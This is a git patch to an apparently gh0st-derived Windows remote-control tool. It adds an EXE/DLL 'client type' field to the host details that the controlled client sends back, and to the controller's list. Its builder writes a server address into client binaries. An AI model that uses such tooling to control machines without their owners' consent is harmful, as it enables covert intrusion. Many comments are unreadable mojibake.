From 83849e688fe1f36d1f0187e4101e3cd36816d759 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 29 Dec 2024 01:09:06 +0800 Subject: [PATCH] feat: Add showing client type feature --- ReadMe.txt | 13 +++++++++++++ client/ClientDll.cpp | 5 +++-- client/LoginServer.cpp | 3 ++- client/LoginServer.h | 2 +- client/test.cpp | 15 ++++++++------- common/commands.h | 23 ++++++++++++++++++++++- server/2015Remote/2015RemoteDlg.cpp | 11 +++++++---- server/2015Remote/2015RemoteDlg.h | 2 +- server/2015Remote/BuildDlg.cpp | 16 ++++++++++------ 9 files changed, 67 insertions(+), 23 deletions(-) diff --git a/ReadMe.txt b/ReadMe.txt index 6ed1e03..1436499 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -242,3 +242,16 @@ reorg: Move commands to common/commands.h 2.解决客户端接收大数据包的问题! 主控程序增加显示被控端版本信息,以便实现针对老版本在线更新(仅限基于TestRun的服务)的能力。 在主控程序上面增加了显示被控端启动时间的功能,以便掌握被控端程序的稳定性。 3.完善生成服务程序的功能。 + +2024.12.29 +增加显示被控程序"类型"的功能:如果被控程序为单个EXE则显示为"EXE",如果被控程序为EXE调用动态库形式,则显示为"DLL". +当前,只有类型为DLL的服务支持在线升级。本次提交借机对前一个更新中的"预留字段"进行了验证。 + + + + + + +QQ:962914132 +联系方式:[Telegram](https://t.me/doge_grandfather) [Email](mailto:yuanyuanxiang163@gmail.com) [LinkedIn](https://www.linkedin.com/in/wishyuanqi) +问题报告:请提交 [Issues](https://github.com/yuanyuanxiang/SimpleRemoter/issues) 欢迎提交 [Merge requests](https://github.com/yuanyuanxiang/SimpleRemoter/pulls) diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 861c856..6541c75 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -13,7 +13,7 @@ using namespace std; #define REG_NAME "a_ghost" // Զ̵ַ -CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0}; +CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0, CLIENT_TYPE_ONE}; // Ӧó״̬1-ض˳ 2-ض˳ 3- BOOL g_bExit = 0; @@ -166,6 +166,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) { g_bExit = FALSE; g_SETTINGS.SetServer(szServerIP, uPort); + g_SETTINGS.SetType(CLIENT_TYPE_DLL); HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); if (hThread == NULL) { @@ -204,7 +205,7 @@ DWORD WINAPI StartClient(LPVOID lParam) continue; } //׼һ - SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount); + SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount, g_SETTINGS.ClientType()); CKernelManager Manager(ClientObject); bool bIsRun = 0; diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 409a2b8..79fb650 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -155,7 +155,7 @@ std::string getProcessTime() { return buffer; } -int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed) +int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType) { LOGIN_INFOR LoginInfor; LoginInfor.bToken = TOKEN_LOGIN; // Ϊ¼ @@ -182,6 +182,7 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed) LoginInfor.dwCPUMHz = dwCPUMHz; LoginInfor.bWebCamIsExist = bWebCamIsExist; strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str()); + sprintf_s(LoginInfor.szReserved, "%s", nType==CLIENT_TYPE_DLL?"DLL":"EXE"); int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR)); return iRet; diff --git a/client/LoginServer.h b/client/LoginServer.h index 64f29b6..18f2d9b 100644 --- a/client/LoginServer.h +++ b/client/LoginServer.h @@ -5,6 +5,6 @@ #pragma comment(lib,"Vfw32.lib") -int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed); +int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType); DWORD CPUClockMHz(); BOOL WebCamIsExist(); diff --git a/client/test.cpp b/client/test.cpp index 86c9128..d9262a7 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -24,7 +24,7 @@ IsExit bExit = NULL; BOOL status = 0; -CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN,"",0 }; +CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "", 0, CLIENT_TYPE_DLL }; //Ȩ void DebugPrivilege() @@ -110,8 +110,8 @@ int main(int argc, const char *argv[]) SetConsoleCtrlHandler(&callback, TRUE); do { - BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.szServerIP) == 0 ? "127.0.0.1" : g_ConnectAddress.szServerIP), - argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.iPort == 0 ? 6543 : g_ConnectAddress.iPort)); + BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()), + argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort())); if (ret == 1) { return -1; } @@ -168,16 +168,17 @@ BOOL Run(const char* argv1, int argv2) { bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL; if (run) { - char* ip = g_ConnectAddress.szServerIP; - int& port = g_ConnectAddress.iPort; + char ip[_MAX_PATH]; + strcpy_s(ip, g_ConnectAddress.ServerIP()); + int port = g_ConnectAddress.ServerPort(); strcpy(p + 1, "settings.ini"); if (_access(path, 0) == -1) { // ļ: ȴӲȡֵǴg_ConnectAddressȡֵ. strcpy(ip, argv1); port = argv2; } else { - GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path); - port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path); + GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path); + port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path); } printf("[server] %s:%d\n", ip, port); do diff --git a/common/commands.h b/common/commands.h index c484db1..bb31deb 100644 --- a/common/commands.h +++ b/common/commands.h @@ -7,12 +7,14 @@ #define _MAX_PATH 260 #endif +// 2ȫΨһɷʱ + #define FLAG_FINDEN 0x1234567 #define FLAG_GHOST 0x7654321 // Է仯ʱӦøֵԱԱس -#define DLL_VERSION "20241228" // DLL汾 +#define DLL_VERSION "20241229" // DLL汾 // öб enum @@ -136,22 +138,41 @@ enum SERVER_EXIT, // ض˳ }; +#define CLIENT_TYPE_DLL 0 // ͻ˴DLL +#define CLIENT_TYPE_ONE 1 // ͻ˴ԵEXE + // ӵسϢ typedef struct CONNECT_ADDRESS { +public: unsigned long dwFlag; char szServerIP[_MAX_PATH]; int iPort; + int iType; + +public: + void SetType(int typ) { + iType = typ; + } + const unsigned long & Flag() const { + return dwFlag; + } const char* ServerIP()const { return szServerIP; } int ServerPort()const { return iPort; } + int ClientType()const { + return iType; + } void SetServer(const char* ip, int port) { strcpy_s(szServerIP, ip); iPort = port; } + bool IsValid()const { + return strlen(szServerIP) != 0 && iPort > 0; + } } CONNECT_ADDRESS ; // ߺ͵ļϢ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index e194e9d..4bc82dd 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -42,6 +42,7 @@ enum ONLINELIST_PING, //PING(Է) ONLINELIST_VERSION, // 汾Ϣ ONLINELIST_LOGINTIME, // ʱ + ONLINELIST_CLIENTTYPE, // ͻ ONLINELIST_MAX, }; @@ -64,7 +65,8 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {"ͷ", 72 }, {"PING", 100 }, {"汾", 80 }, - {"ʱ", 180 }, + {"ʱ", 150 }, + {"", 50 }, }; // Ӧó򡰹ڡ˵ CAboutDlg Ի @@ -329,7 +331,7 @@ VOID CMy2015RemoteDlg::TestOnline() VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, - CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CONTEXT_OBJECT* ContextObject) + CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject) { EnterCriticalSection(&m_cs); //ĬΪ0 вж @@ -343,6 +345,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing); m_CList_Online.SetItemText(i, ONLINELIST_VERSION, ver); m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, st); + m_CList_Online.SetItemText(i, ONLINELIST_CLIENTTYPE, tp.IsEmpty()?"DLL":tp); m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject); @@ -1070,8 +1073,8 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) strVideo = LoginInfor->bWebCamIsExist ? "" : ""; strAddr.Format("%d", nSocket); - - AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime,ContextObject); + AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, + LoginInfor->szReserved,ContextObject); delete LoginInfor; return S_OK; }catch(...){ diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index d013a9e..3ebce0b 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -47,7 +47,7 @@ public: VOID InitControl(); //ʼؼ VOID TestOnline(); //Ժ VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, - CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CONTEXT_OBJECT* ContextObject); + CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject); VOID ShowMessage(BOOL bOk, CString strMsg); VOID CreatStatusBar(); VOID CreateToolBar(); diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index b6f5e82..e01bcce 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -60,13 +60,12 @@ void CBuildDlg::OnBnClickedOk() MessageBox("Ч, ɷ!"); return CDialog::OnOK(); } - unsigned long flag = index == 0 ? FLAG_FINDEN : (index == 1 ? FLAG_GHOST : FLAG_FINDEN); + unsigned long flag = index == 0 ? FLAG_FINDEN : FLAG_GHOST; //////////Ϣ////////////////////// - CONNECT_ADDRESS g_ConnectAddress = { flag,"",0 }; - strcpy(g_ConnectAddress.szServerIP,m_strIP); //IP + CONNECT_ADDRESS g_ConnectAddress = { flag, "", 0, index }; + g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort)); - g_ConnectAddress.iPort=atoi(m_strPort); //˿ - if (strlen(m_strIP)==0 || g_ConnectAddress.iPort==0) + if (!g_ConnectAddress.IsValid()) return; try { @@ -95,12 +94,17 @@ void CBuildDlg::OnBnClickedOk() File.Read(szBuffer,dwFileSize); File.Close(); //дIPͶ˿ ҪѰ0x1234567ʶȻдλ - int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD)); + int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.Flag(),dwFileSize,sizeof(DWORD)); if (iOffset==-1) { MessageBox(CString(path) + "\r\nģ\"" + file + "\"֧!"); return; } + if (MemoryFind((char*)szBuffer + iOffset + sizeof(sizeof(g_ConnectAddress)), (char*)&g_ConnectAddress.Flag(), + dwFileSize - iOffset - sizeof(sizeof(g_ConnectAddress)), sizeof(DWORD)) != -1) { + MessageBox(CString(path) + "\r\nģ\"" + file + "\"!"); + return; + } memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress)); //浽ļ strcpy(p+1, "ClientDemo.exe");